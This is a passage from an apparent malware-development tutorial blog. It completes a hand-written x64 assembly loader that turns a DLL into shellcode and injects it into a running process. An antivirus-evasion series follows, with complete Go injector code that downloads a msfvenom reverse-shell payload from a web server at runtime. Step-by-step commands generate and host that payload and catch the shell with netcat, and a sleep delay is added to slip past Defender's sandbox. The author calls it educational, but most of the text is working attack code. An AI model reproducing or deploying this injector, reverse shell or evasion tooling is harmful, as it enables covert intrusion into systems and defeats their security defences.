* Line 2: rcx holds the number of entries in the block and decrements with every iteration. Here we compare to 0 , which essentially checks if we already looped through all entries.
* Line 3: If rcx was zero it jumps out of the loop into the outer loop
* Line 4: Moves entry Value to r11d&#x20;

Let's assume r11d now has the value 0xA558.&#x20;

* Line 5: will zero the last 12-bits essentially leave the value 0xA000 in r11d
* Line 6: shifts right by 12 bits turning r11d to 0x000A&#x20;
* Line 7: checks if the remaining value is zero.
* Line 8: Continues to the next entry by jumping at the end of the function where our counters are adjusted
* Line 10: is identical to Line 4 moving the entry value to r11d

Once again let's assume the value is 0xA558

* Line 11: Zeros the top 4 bits leaving the value 0x558 in r11d. This value is the RVA from the beginning of the PAGE.
* Line 12: Move page rva to r13
* Line 13: Add page rva to the reglocation rva to get the relocation RVA from the dll base address
* Line 15: We add the base dll address to the relocation rva to get the absolute address
* Line 16: We now get the actual hardcode address from memory into r12.&#x20;
* Line 17: We add the delta calulcated and stored in the stack previously to the hardcoded address
* Line 18: Patch the address in memory
* Line 21: Decrease the relocation entries counter
* Line 22: Point to the next relocation entry in the block

### Imports

The last step in our shellcode is to import all external dependencies. Once again we will need 2 loops just like we did for the relocations. As we can see from the Import tab in PE-bear, we have an entry for each DLL and then a list of functions for each dll.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fb00c17rCNT0SyWoKLM52%2Fimage.png?alt=media&amp;token=a9886dc3-4be9-447f-97da-bee0af75c2ec" alt=""><figcaption><p>Imports</p></figcaption></figure>

Our outer loop will loop through the dlls, and the inner loop will loop through the functions and import them as required.&#x20;

In the outer loop we will need to use an api such as LoadLibrary or LdrLoadDll to load the required dlls and then we can use our parse\_module function to get the address of each function.&#x20;

Let's see how the code looks in assembly.

```nasm
"imports:",
"	mov r13,qword ptr [rbp-0x30];", // Optional header -> r13
"	add r13, 0x78;",                // Points to IMAGE_DIRECTORY_ENTRY_BASERELOC
"	mov r12d, dword ptr[r13];",      // imports.VirtualAddress ->rax
"	add r12,qword ptr [rbp-0x38];", // Import Descriptor address


"imports_loop:",
//r12 -> import descriptor address

"	mov r13, r12;",                  // rax points to the beginning of the import
"	add r13, 0x0c;",                 // offset 0xc points to the name RVA
"	mov r13d, dword ptr[r13];",      //dereference to get RVA value to r13
"	cmp r13d, 0x0;",                 //check if RVA is 0
"	je exit_imports_loop;",          // exit loop if RVA ==0
"	add r13, qword ptr [rbp-0x38];", // dll name address
"	mov rsi,r13;",                   // used by loadsb

/*
   typedef struct _UNICODE_STRING {
     USHORT Length;
     USHORT MaximumLength;
     PWSTR  Buffer;
     } UNICODE_STRING, *PUNICODE_STRING;
*/

"       xor rax,rax;", // used by loadsb
"       xor r11,r11;", // size
"       push rax;",    // Creating a space of 0s for the Unicode String Buffer
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",

"loop_through_DLL:",            // Iterate over each byte
" 	lodsb;",                     // Copy the next byte of RSI to Al
" 	test al, al;",               // If reaching the end of the string
" 	jz end_loop_through_DLL;",   //
"	mov byte ptr [rsp+r11], al;", // In the buffer we write the dll name bytes in every second byte. (0s in between K.E.R.N.E.L.3.2.D.L.L..)
"	add r11w,0x2;",
" 	jmp loop_through_DLL;", // Next byte


"end_loop_through_DLL:", // Iterate over each byte
"	add r11w, 0x2;", // MaximumLength
"	mov ax,r11w;",
"	shl rax,16;",
"	sub r11w, 0x2;",    //Length
"	or rax,r11;",       // first qword is the length and max length
"       lea rsi, [rsp];", // pointer to the buffer
"	push rsi;",         //push pointer to the stack
"	push rax;",         // push lengts to the stack to form the UNICODE
"       lea rsi, [rsp];", // Pointer to the UNICODE_STRING
"	push rsi;",         // unicode string of the dll
"       mov r9,qword ptr [rbp-0x10];", // move ntdll base address to r9 for parse_module
"       mov r8d, 0xb0988fe4;",         // LdrLoadDll Hash

"       call parse_module;", // Search and obtain address of LdrLoadDll
"	xor rcx,rcx;",
"	inc rcx;",    // first arg 1
"	pop r8;",     // third arg Pointer to the unicode string on the stack
" 	xor r9,r9;", // 0 -> r9
"	push r9;",
"       lea rdx, [rsp];", // second arg null pointer
"       lea r9, [rsp];",  // fourth argument pointer the dll base address
"	mov rsi, r9;",

"	sub rsp,0x20;",         // shadow space
"	call rax;",             // call LdrLoadDll
"	add rsp,0x20;",         // restore stack
"	push r12;",             // import descriptor address -> stack
"	push qword ptr [rsi];", // address of dll to stack
"	mov r12d, dword ptr[r12+0x10];",
"	add r12,qword ptr [rbp-0x38];",

"inner_import_loop:",
"	mov r13d, dword ptr[r12];",      //dereference to get RVA value to r13
"	cmp r13d, 0x0;",                 //check if RVA is 0
"	je exit_inner_import_loop;",     // exit loop if RVA ==0
"	add r13, qword ptr [rbp-0x38];", //
"	add r13,0x2;",
"	mov rsi,r13;",

//"function_hashing:", // Hash function name function
" 	xor rax, rax;",
" 	xor rdx, rdx;",
" 	cld;", // Clear DF flag

"iteration2:",          // Iterate over each byte
" 	lodsb;",             // Copy the next byte of RSI to Al
" 	test al, al;",       // If reaching the end of the string
" 	jz getProcAddress;", // Compare hash
" 	ror edx, 0x0d;",     // Part of hash algorithm
" 	add edx, eax;",      // Part of hash algorithm
		" 	jmp iteration2;",    // Next byte

"getProcAddress:",
"	mov r8,r15;",
"       mov r9,qword ptr[rsp];", // move dll base address to r9 for parse_module
"       mov r8d, edx;",          // Hash
"       call parse_module;",     // Search and obtain address of GetCurrentProcess

"	mov qword ptr[r12],rax;", // write import
"	add r12,0x8;",           // point to next proc address
"	jmp inner_import_loop;", //loop

"exit_inner_import_loop:",
"	pop rax;",      // get rid of dll address
"	pop r12;",      // retrieve Import Descriptor address from stack
"	add r12,0x14;", // Point to the next import
"	jmp imports_loop;",

"exit_imports_loop:",
```

This is the longest part of the code so let's break it to smaller sections.&#x20;

#### Import Descriptor Address

{% code lineNumbers="true" %}

```nasm
"imports:",
"	mov r13,qword ptr [rbp-0x30];", // Optional header -> r13
"	add r13, 0x78;",                // ImportDescriptor
"	mov r12d, dword ptr[r13];",      // imports.VirtualAddress ->rax
"	add r12,qword ptr [rbp-0x38];", // Import Descriptor address
```

{% endcode %}

Here we need to capture the address of the Import Descriptor.&#x20;

* Line 2: Move Optional Header address into r13
* Line 3: Import Descriptor RVA is located at offset 0x78 in the OptionaHeader
* Line 4: Move RVA value to r12
* Line 5: Add the base dll value to the RVA in r12

### Dll loop (outer loop)

#### DLL Name Address

{% code lineNumbers="true" %}

```nasm
"imports_loop:",

//r12 -> import descriptor address
"	mov r13, r12;",                  // rax points to the beginning of the import
"	add r13, 0x0c;",                 // offset 0xc points to the name RVA
"	mov r13d, dword ptr[r13];",      //dereference to get RVA value to r13
"	cmp r13d, 0x0;",                 //check if RVA is 0
"	je exit_imports_loop;",          // exit loop if RVA ==0
"	add r13, qword ptr [rbp-0x38];", // dll name address
"	mov rsi,r13;",                   // used by loadsb

```

{% endcode %}

* Line 5: Name RVA is located at offset 0x0c from the beginning of the import descriptor
* Line 6: Move RVA value into r13
* Line 7: Compares RVA value to 0
* Line 8: If the value is zero it breaks off the loop
* Line 9: Calculates the absolute address by adding the DLL base address to the RVA
* Line 10: Move absolute address to rsi

#### LdrLoadDll

It would be easier to just use LoadLibrary since all we have to provide to the API is a pointer to the name of the dll which already stored in rsi.&#x20;

Instead we use LdrLoadDll which makes use of the UNICODE\_STRING structure and is located in the ntdll. A few years back it would even be considered more stealthy, but I am not sure it's the case nowadays.&#x20;

Let's take a look at the function definition.

```c
LdrLoadDll(
  IN PWCHAR               PathToFile OPTIONAL,
  IN PULONG                Flags OPTIONAL,
  IN PUNICODE_STRING      ModuleFileName,
  OUT PHANDLE             ModuleHandle );

```

In order to understand the arguments passed to this (undocumented) function I ran LoadLibrary and set a breakpoint on the LdrLoadDll

* PathToFile was set to 1
* Flags was a pointer pointing to 0
* ModuleFileName is a pointer to the UNICODE\_STRING struct holding the name of the dll
* A pointer to the address we would like the dll's base address to be returned

#### UNICODE\_STRING

The arguments that LdrLoadDLL are straight forward except the UNICODE\_STRING struct. Let's have a quick look on the struct definition

{% code lineNumbers="true" %}

```c
typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
```

{% endcode %}

Firstly we need to transform the dll name from a null terminated byte array to a wide character array. This essentially means that every character should bea word where the first byte is what we had already followed by another 0 byte. The null terminator will be two null bytes.&#x20;

Let's take kernel32.dll as an example. In memory we currently have&#x20;

*4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00*

When this is transformed to a Wide string this is how it will look in memory

*4B 00 45 00 52 00 4E 00 45 00 4C 00 33 00 32 00 2E 00 64 00 6C 00 6C 00 00 00*

We then have to calculate the length of the wide dll string.&#x20;

The length will be 26 (0x1a) which is the length of the wide string without the null termination bytes

Maximum Length will be 28 (0x1c) which is the size of the wide string including the termination bytes

#### ASM code

Let's dive into the code on how we construct the UNICODE\_STRING

<pre class="language-nasm" data-line-numbers><code class="lang-nasm">"       xor rax,rax;", // used by loadsb
"       xor r11,r11;", // size
"       push rax;",    // Creating a space of 0s for the Unicode String Buffer
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",
"       push rax;",

"loop_through_DLL:",            // Iterate over each byte
" 	lodsb;",                     // Copy the next byte of RSI to Al
" 	test al, al;",               // If reaching the end of the string
" 	jz end_loop_through_DLL;",   //
"	mov byte ptr [rsp+r11], al;", // In the buffer we write the dll name bytes in every second byte. (0s in between K.E.R.N.E.L.3.2.D.L.L..)
"	add r11w,0x2;",
" 	jmp loop_through_DLL;", // Next byte


"end_loop_through_DLL:", // Iterate over each byte
<strong>"	add r11w, 0x2;", // MaximumLength
</strong>"	mov ax,r11w;",
"	shl rax,16;",
"	sub r11w, 0x2;",    //Length
"	or rax,r11;",       // first qword is the length and max length
"       lea rsi, [rsp];", // pointer to the buffer
"	push rsi;",         //push pointer to the stack
"	push rax;",         // push lengts to the stack to form the UNICODE

</code></pre>

* Line 1-2 : Zero rax and r11 to be used by the loop
* Lines 3-13: Create a space of zeros on the stack
* Line 16: Copy the next byte at address RSI to al
* Line 17: Check if it's the null termination
* Line 18: Break the loop by jumping to line 24 (end\_loop\_through\_DLL)
* Line 19: Write the byte to the stack
* Line 20: Point to the next location in the stack by leaving a byte with 0 in between
* Line 21 : Iterate

When we reach this point it means our whole string is turned into a wide string in memory&#x20;

* Line 25:  Calculates the Maximum Length by adding the 2 null terminting bytes in the size

At this point we start constructing the struct in the stack

* Line 26: we move the MaximumLength value in ax from r11w
* Line 27: we shift rax left by 16bits&#x20;
* Line 28: subtract 2 to get the Length
* Line 29: we merge the max length and length in rax by using or
* Line 30: we get a pointer on the wide string on the stack
* Line 31: We push pointer to the wide string the stack
* Line 32: We push the lengths to the stack

We now how the struct into the stack.

{% code lineNumbers="true" %}

```nasm
"       lea rsi, [rsp];", // Pointer to the UNICODE_STRING
"	push rsi;",         // unicode string of the dll
"       mov r9,qword ptr [rbp-0x10];", // move ntdll base address to r9 for parse_module
"       mov r8d, 0xb0988fe4;",         // LdrLoadDll Hash

"       call parse_module;", // Search and obtain address of LdrLoadDll
"	xor rcx,rcx;",
"	inc rcx;",    // first arg 1
"	pop r8;",     // third arg Pointer to the unicode string on the stack
" 	xor r9,r9;", // 0 -> r9
"	push r9;",
"       lea rdx, [rsp];", // second arg null pointer
"       lea r9, [rsp];",  // fourth argument pointer the dll base address
"	mov rsi, r9;",

"	sub rsp,0x20;",         // shadow space
"	call rax;",             // call LdrLoadDll
"	add rsp,0x20;",         // restore stack
"	push r12;",             // import descriptor address -> stack
"	push qword ptr [rsi];", // address of dll to stack
"	mov r12d, dword ptr[r12+0x10];",
"	add r12,qword ptr [rbp-0x38];",
```

{% endcode %}

With now have all the values we need to call LdrLoadDll

* Line 1: Pointer to of the unicode\_string in rsi
* Line 2: Store rsi to the stack
* Line 3: Move the base address of ntdll in r9&#x20;
* Line 4: Move the hash of LdrLoadDll to r8
* Line 6: Call parse\_module to get the function address rax
* Lines 7-8: Set the first argument by setting rcx to 1&#x20;
* Line 9: Set third argument by popping the address of the structure to r8
* Lines 10-12: Set rdx (second argument) to a pointer that points to 0
* Line  13: Set r9 (fourth argument ) to a pointer that points to 0. The dll base address will be stored here
* Line 14: Move r9 to rsi to use after the function call
* Line: 16 & 18: Add and remove shadow space before and after the call
* Line 17: Call LdrLoadDLl
* Line 19: Store import descriptor address to stack before the inner loop
* Line 21: First thunk RVA
* Line 22: Absolute address to First thunk

### Function Imports (Inner loop)

We now Loaded the DLL in memory using LdrLoadDll. Next step is to import the functions from that dll using parse\_module

{% code lineNumbers="true" %}

```nasm
"inner_import_loop:",
"	mov r13d, dword ptr[r12];",      //dereference to get RVA value to r13
"	cmp r13d, 0x0;",                 //check if RVA is 0
"	je exit_inner_import_loop;",     // exit loop if RVA ==0
"	add r13, qword ptr [rbp-0x38];", //
"	add r13,0x2;",
"	mov rsi,r13;",

//"function_hashing:", // Hash function name function
" 	xor rax, rax;",
" 	xor rdx, rdx;",
" 	cld;", // Clear DF flag

"iteration2:",          // Iterate over each byte
" 	lodsb;",             // Copy the next byte of RSI to Al
" 	test al, al;",       // If reaching the end of the string
" 	jz getProcAddress;", // Compare hash
" 	ror edx, 0x0d;",     // Part of hash algorithm
" 	add edx, eax;",      // Part of hash algorithm
" 	jmp iteration2;",    // Next byte

"getProcAddress:",
"       mov r9,qword ptr[rsp];", // move dll base address to r9 for parse_module
"       mov r8d, edx;",          // Hash
"       call parse_module;",     // Search and obtain address of GetCurrentProcess

"	mov qword ptr[r12],rax;", // write import
"	add r12,0x8;",           // point to next proc address
"	jmp inner_import_loop;", //loop
```

{% endcode %}

* Line 2: Get the RVA of the function name to r13
* Line 3: Checks if RVA equals to 0
* Line 4: Break off the loop&#x20;
* Line 5: Get Absolute address of the function name
* Line 6: Add 0x2 to the absolute address in r13 to jump over the two null bytes
* Lines 9-20: Turn the function name into a function hash as described [here](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#function_hashing)
* Line 23: Move dll base address to r9
* Line 24: Move hash from edx to r8
* Line 25: Call parse module
* Line 27: Overwrite Original thunk with the function address
* Line 28: Point to the next function&#x20;
* Line 29: Iterate.&#x20;

We are now ready to execute our code

### Call DllMain

Our code is now ready to be executed.&#x20;

{% code lineNumbers="true" %}

```nasm
"	mov r13,qword ptr [rbp-0x30];", // optional header into r13
"	add r13,0x10;",                 // entry point address
"	mov r13d, dword ptr [r13];",
"	add r13,  qword ptr [rbp-0x38];", // absolute entry point address
"	mov rcx, qword ptr [rbp-0x38];",  // dllbase first arg
"	mov rdx, 0x1;",                   //	DLL_PROCESS_ATTACH = 0x1 second arg
"	mov r8, 0x0;",                    // 3rd arg 0
"	xor r9,r9;",

"	sub rsp,0x20;", // shadow space
"	call r13;",
"	add rsp,0x20;", // shadow space
```

{% endcode %}

All we have to do now is to call the entry point (DllMain). The address of the entry point can be found in the optional header at offset 0x10

* Line 1: Move optional header to r13
* Line 2: Add the 0x10 offset to r13
* Line 3: Move the RVA value to r13
* Line 4: Add dll base address to get the absolute address of the entry point

Let's have a quick look at the Entry point (DllMain) definition:

```c
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpvReserved )  // reserved
```

hinstDLL is the base dll address

fdwReason we will set to 0x1 for DLL\_PROCESS\_ATTACH&#x20;

lpvReserved will be set to 0

* Line 5: the base address is moved to rcx ( 1st argument)
* Line 6: rdx set to 0x1 (2nd argument)
* Line 7: r8 set to 1 (3rd argument)
* Lines 10&12: Add and remove shadow space before and after the call
* Line 11: Call Entry point

At this point if everything went well we will see a popup window from our DLL

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F0fGLJlPX0MTGmnPoF67i%2Fimage.png?alt=media&amp;token=d0ad41bb-1f37-4ac6-a5d8-aed52a193b0f" alt=""><figcaption></figcaption></figure>

Great :)

### Shellcode epilogue

```nasm
"Epilogue:",
"	mov rsp,rbp;",
"	pop rbp;",
"	pop rbx;",
"	pop rdi;",
"	pop rsi;",
"	pop r15;",
"	pop r14;",
"	pop r13;",
"	pop r12;",
"	ret;",
```

In the epilogue we restore the rsp values and all non-volatile register. This is especially important if we are planning to resume execution to the calling program.&#x20;

## Testing our shellcode

### Inline Execution

In order to check if our shellcode will resume execution without crashing our main program, we will have to modify the shellcode runner to run the code inline and not to create a new thread.

&#x20;In our shellcode runner we can replace the CreateThread function with the syscallN function.

```go
func ShellcodeRunner(sc []byte) error {
	//msfvenom  -f hex -p windows/x64/exec cmd=calc
	fmt.Println("----> Run shellcode <----")
	fmt.Println("[+] Allocating memory for shellcode")
	addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
	if err != nil {
		return fmt.Errorf("[FATAL] VirtualAlloc Failed: %v\n", err)
	}
	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	fmt.Println("[+] Wrote shellcode bytes to destination address")

	fmt.Println("[+] Changing Permissions to RX")
	var oldProtect uint32
	err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		return fmt.Errorf("[FATAL] VirtualProtect Failed: %v", err)
	}

	/*modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procCreateThread := modKernel32.NewProc("CreateThread")
	tHandle, _, lastErr := procCreateThread.Call(
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if tHandle == 0 {
		return fmt.Errorf("Unable to Create Thread: %v\n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  %x \n", tHandle)
	windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)*/
	syscall.SyscallN(addr)
	return nil
}

```

This is how our new shellcode runner function looks like.&#x20;

Also, in our main function we add another print function after calling the shellcode runner function

```go
	fmt.Println("[SUCCESS] Done")
```

If we successfully restore all the registers and the stack pointers, we should see the above message printed in the console after we press "OK" on the messagebox.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Foxyk71te5oPbb5FbsasB%2Fimage.png?alt=media&amp;token=1f5b994c-faca-43ce-be8f-98252c1d995e" alt=""><figcaption></figcaption></figure>

Our shellcode returns cleanly to the main function.

### Shellcode injection

Let's test our code when it's injected into a remote process. We switch our function from the shellcoderunner to shecllodeIjnection

```go
	err = shecllodeIjnection(22124, srdi) //Run the generated shellcode
	if err != nil {
		log.Fatalln(err)
	}
```

We then give it the pid of a running notepad

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FBv3WiPaI3zcKbMMRiLM1%2Fimage.png?alt=media&amp;token=d54b4a24-267c-464c-929f-0cd7848a41cc" alt=""><figcaption><p>Executes as expected</p></figcaption></figure>

## Future Work / Improvements

The code is meant to be used for educational purposes. It's not ready to be used in production or as part of a real red team engagement. Here is a list of a few future improvements:

* Remove all null bytes from the shellcode
* Ability to generate shellcode that calls any exported function and pass arguments to it.
* Add indirect syscall functionality&#x20;
* Remove unnecessary winapi calls such as WriteProcessMemory&#x20;
* Clean memory after execution&#x20;
* Avoid the use of rwx regions

## Complete Code:

<https://github.com/scriptchildie/GoDll2Shellcode>


# AV Bypass


# 1. Introduction

\#AVEvasion #Golang #maldev #malwaredevelopment

Antivirus is a piece of software installed on a computer to block malicious executables from running.&#x20;

Identifying if the software is malicious is done by "static" signatures or from the executable's behaviour(sandbox or runtime).&#x20;

* Static analysis usually looks at the hash of the executable, Import Address Table etc. when the executable hits the disk. This is also something that is done in memory.&#x20;
* Behaviour looks for certain patterns at runtime. For example in a meterpreter session when the migrate command is used MS Defender will kill the session immediately even though we were able to successfully run it. This is because Defender detected the process injection sequence.&#x20;
* Sandbox evasion: The AV might run the executable in an isolated environment to check if there is any malicious behaviour before actually letting the executable run on the host.&#x20;

Defender got pretty good at detecting the '[classic shellcode injection](/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection)' technique. I will start modifying the code to get it to run on a fully patched windows host.&#x20;

Note: This will not work on most modern EDRs. That's something I will go into more detail in the upcoming series.


# 2. Remove the shellcode from the payload

\#AVEvasion #Golang #maldev #malwaredevelopment

Shellcode payloads such as the ones coming from msfvenom are well documented and have static signatures. I would be surprised that a simple shellcode loader will go undetected.&#x20;

How do we bypass static detections? There are various ways of doing it but the most sensible is to start by removing the payload from the initial payload. We can host the actual payload remotely and download it at runtime.

Initially I added the shellcode as a byte slice in my program and I was greeted by the following message from defender.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FtcPArYlVqvQgCdJ8klUp%2Fimage.png?alt=media&amp;token=e755fbb4-636c-4656-893c-af45311f2927" alt=""><figcaption><p>Meterpreter Payload</p></figcaption></figure>

Let's write a GO function that downloads the shellcode from a website.

{% code lineNumbers="true" %}

```go
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```

{% endcode %}

The above function will receive the URL of the shellcode file and return it in a byte array. If there is any connection issue it will return an empty slice and an error.&#x20;

Jumping over to the kali machine we can generate our code using msfvenom and host it using the simplehttpserver in python.                                                                                                                                                                                                                                                             &#x20;

{% code title="Shellcode Generation " %}

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom  -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: shcode.malic
         
```

{% endcode %}

{% code title="Host File on a websever" %}

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.217.1 - - [01/Sep/2023 09:41:25] "GET /shcode.malic HTTP/1.1" 200 -

```

{% endcode %}

{% code title="netcat listener" %}

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvp 443                  
listening on [any] 443 ...
192.168.217.1: inverse host lookup failed: Host name lookup failure
connect to [192.168.217.128] from (UNKNOWN) [192.168.217.1] 14351

```

{% endcode %}

Defender is still suspicious of the executable but it doesn't get flagged immediately. Since I disabled automatic sample submission Microsoft is asking if I want to send them a sample for review. (Dismiss)

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FT1qichKuOydjCDHMt1FK%2Fimage.png?alt=media&amp;token=6dcfcedb-9ca0-400a-954c-0abfba60def0" alt=""><figcaption><p>Defender Alert</p></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FuR0nRJpddW3wzGfO4bhm%2Fimage.png?alt=media&amp;token=2877053e-b9be-46ed-949f-95f0bc78f2fd" alt=""><figcaption><p>Successful reverse shell was achieved</p></figcaption></figure>

Even though the code executed successfully from notepad, we should still further modify the code so that Defender doesn't flag it as suspicious at all. &#x20;

### Complete Code

```go
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	pid := uint32(20496)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom -f raw -p windows/x64/shell_reverse_tcp  LHOST=192.168.217.128 LPORT=443 -o shcode.malic
	sc, err := wget("http://192.168.217.128/shcode.malic")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}
	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```


# 3. Delay Execution

A common technique used to evade sandbox detection is adding a delay. The idea here is to stop execution before performing any malicious action. This will cause the Sandbox checks to timeout and not flag our payload as malicious.&#x20;

There are a few issues with this technique:

* The Antivirus might detect that the executable has a sleep in the main function and therefore flag it as malicious.&#x20;
  * I found any sleep functions to be for effective when they are called within a wrapper function outside the main()
* Some AV engines will speed up the the sleep function (more sandbox evasion opportunities)&#x20;

Let's explore some code examples in GO.&#x20;

Part of the golang standard library is the package [time](https://pkg.go.dev/time). This package has a few functions that could be useful


# 1. time.Sleep() 1/2

\#AVEvasion #Golang #maldev #malwaredevelopment #sleep

### [time.Sleep()](https://pkg.go.dev/time#example-Sleep)

When we created the [previous payload](/evasion/av-bypass/2.-remove-the-shellcode-from-the-payload). The following pop up showed up. This suggests that Defender suspects our payload as malicious.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FbJrmvGgBd9HluvcPzb3Q%2Fimage.png?alt=media&amp;token=9af1c677-d2da-4670-b443-20a746a448f2" alt=""><figcaption><p>Suspicious file</p></figcaption></figure>

By adding the following code at the beginning of our code, Defender no longer suspects this file as malicious.

Our little piece of code delays execution for 10 seconds before downloading the payload. This most likely causes defender sandbox checks to time out.&#x20;

```go
	fmt.Println("Sleeping for 10 Seconds")
	time.Sleep(10 * time.Second)

	fmt.Println("Woke Up ... Execution Continues")
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FUjZkdPUtcD8nb2dMqLHv%2Fimage.png?alt=media&amp;token=997f67dd-7e05-4d2c-bbbe-d2ebfe1a15b3" alt=""><figcaption><p>Successful reverse shell execution</p></figcaption></figure>

### Complete Code

```go
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	fmt.Println("Sleeping for 10 Seconds")
	time.Sleep(10 * time.Second)

	fmt.Println("Woke Up ... Execution Continues")

	pid := uint32(2924)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom  -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
	sc, err := wget("http://192.168.217.128/shcode.malic")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}
	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
